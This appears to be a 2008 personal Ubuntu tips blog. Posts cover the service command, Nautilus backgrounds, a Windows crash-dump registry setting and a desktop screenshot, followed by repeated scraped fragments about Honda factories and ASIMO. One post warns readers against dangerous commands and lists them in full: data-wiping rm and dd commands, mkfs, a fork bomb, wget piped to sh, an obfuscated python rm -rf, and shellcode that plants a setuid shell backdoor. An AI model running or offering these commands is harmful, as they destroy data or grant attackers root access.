Wednesday, October 29, 2008

service command in ubuntu

Redhat, Fedora and CentOS users and server administrators uses service * start/stop/restart/status command. Where as Ubuntu users and server administrators uses /etc/init.d/* start/stop/restart.

With Ubuntu Intrepid Ibex 8.10 Ubuntu users can also use the service command to start/stop/restart the Ubuntu services.

Hope this make the Redhat and other administrators little homely while using Ubuntu :P.

Friday, October 24, 2008

Change folder background

It is easy to customize color or pattern in folder background. I use Ubuntu, Gnome and Nautilus. To put any particular color or pattern as a background follow the following steps.

  1. In Nautilus go to Edit -> Background and Emblems
  2. You will see patterns. Drag any one of them to put it as pattern. To reset drag the pattern on top left corner with reset text.
  3. If you want to put particular color go to colors tab and drag any one of them.

Friday, October 17, 2008

Commands you should never run

Never ever run the following commands on your system no matter who tells you what.

rm -rf /
rm -rf .
rm -rf *
rm -r .*
rm -r .[^.]*


mkfs
mkfs.ext3
mkfs.anything


any_command > /dev/sda
dd if=something of=/dev/sda


:(){:|:&};:


wget http://some_place/some_file
sh ./some_file

wget http://some_place/some_file -O- | sh



char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";


python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))'


Never ever run the above commands on your system no matter who tells you what unless you are experimenting.

Read More: http://ubuntuforums.org/announcement.php?f=73

Sunday, October 12, 2008

Crash Windows with two keys



Open notepad and copy the following lines. Save it as "crashWin.reg". (including the double quotes)


Windows Registry Editor Version 5.00



[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\i8042prt\Parameters]
"CrashOnCtrlScroll"=dword:00000001



Save and exit notepad.



Or if you know how to edit the registry you can do it as in the picture below.



Right click the file crashwin.reg and select merge.



You will get a dialog box asking if you want to add information to registry.
Select yes.



You will be greeted saying the information were added successfully.



Now restart the computer.

After your windows boots up, press and hold Right Control key(Left control key will not work) and hit Scroll Lock key twice.

Your windows will crash generating the memory dump file.



P.S. This is not a bug. This is a feature provided by Microsoft to generate memory dump file.

Sunday, October 5, 2008

Gnome desktop Screenshot

Here is a beautiful screenshot of Ubuntu desktop. It has some kind of black theme with big nice cool looking Firefox icon. Other icons are lined below. Unlike other screenshots, in this screenshot you wont find any dock or screenlets.

With combination of nice theme, icon and background this sure is a solid desktop.

Wednesday, October 1, 2008

Honda cars, auto , 10









Pakistan

* Multan — Cars
* Lahore — Cars
* Sialkot — Cars
* Karachi — Cars
* Rahim Yar Khan — Motorcycles

[edit] Argentina

* Zárate, Family Cars

[edit] Vietnam

* Dong Anh, Hanoi — Cars and scooters
* Vinh Phuc — Cars and parts

Robots
ASIMO at Expo 2005 in Japan
ASIMO at Expo 2005 in Japan

ASIMO is the part of Honda's Research & Development robotics program. It is the eleventh in a line of successive builds starting in 1986 with Honda E0 moving through the ensuing Honda E series and the Honda P series. Weighing 54 kilograms and standing 130 centimeters tall, ASIMO resembles a small astronaut wearing a backpack, and can walk on two feet in a manner resembling human locomotion, at up to 6 km/h (3.7 mph). It is the world's only humanoid robot able to ascend and descend stairs independently.[17] However, human motions such as climbing stairs are difficult to mimic with a machine, which ASIMO has demonstrated by taking two plunges off of a staircase.

Honda cars, auto , 10









Pakistan

* Multan — Cars
* Lahore — Cars
* Sialkot — Cars
* Karachi — Cars
* Rahim Yar Khan — Motorcycles

[edit] Argentina

* Zárate, Family Cars

[edit] Vietnam

* Dong Anh, Hanoi — Cars and scooters
* Vinh Phuc — Cars and parts

Robots
ASIMO at Expo 2005 in Japan
ASIMO at Expo 2005 in Japan

ASIMO is the part of Honda's Research & Development robotics program. It is the eleventh in a line of successive builds starting in 1986 with Honda E0 moving through the ensuing Honda E series and the Honda P series. Weighing 54 kilograms and standing 130 centimeters tall, ASIMO resembles a small astronaut wearing a backpack, and can walk on two feet in a manner resembling human locomotion, at up to 6 km/h (3.7 mph). It is the world's only humanoid robot able to ascend and descend stairs independently.[17] However, human motions such as climbing stairs are difficult to mimic with a machine, which ASIMO has demonstrated by taking two plunges off of a staircase.

Honda cars, auto , 9






Malaysia

* Malacca — Constant Velocity Joints
* Penang Motorcycle under Boon Siew Honda

[edit] Philippines

* Batangas — Motorcycles
* Laguna — Cars; Parts and Transmission

Honda cars, auto , 8






Belgium

* Ghent, Belgium - European logistics[16]

[edit] Brazil

* Manaus, Amazonas — motorcycles
* Sumaré, São Paulo — cars (Civic and Fit)

[edit] Colombia

* Cali, Valle del Cauca — motorcycles

[edit] Thailand

* Ayutthaya

[edit] Turkey

* Gebze

City model, Civic models.

Honda cars, auto , 9






Malaysia

* Malacca — Constant Velocity Joints
* Penang Motorcycle under Boon Siew Honda

[edit] Philippines

* Batangas — Motorcycles
* Laguna — Cars; Parts and Transmission

Honda cars, auto , 8






Belgium

* Ghent, Belgium - European logistics[16]

[edit] Brazil

* Manaus, Amazonas — motorcycles
* Sumaré, São Paulo — cars (Civic and Fit)

[edit] Colombia

* Cali, Valle del Cauca — motorcycles

[edit] Thailand

* Ayutthaya

[edit] Turkey

* Gebze

City model, Civic models.

Honda cars, auto , 7






Canada

* Alliston, Ontario — Plant 1: Civic (coupe and sedan), Acura CSX

Plant 2: Ridgeline, Acura MDX, Civic sedan 4 doors

Mexico

* Guadalajara, Jalisco — Engines, CR-V SUV (50,000 units per year).

[edit] United Kingdom

* Swindon, England, UK - EP3 - Civic SI (USA), Civic SiR (Canada), Civic Type-R, Type-S and standard (Europe, South Africa and Australia) as well as the Honda CR-V for the same destinations.

Generation 2 CR-Vs were made here for the American east coast, the west coast received Japan-built CR-Vs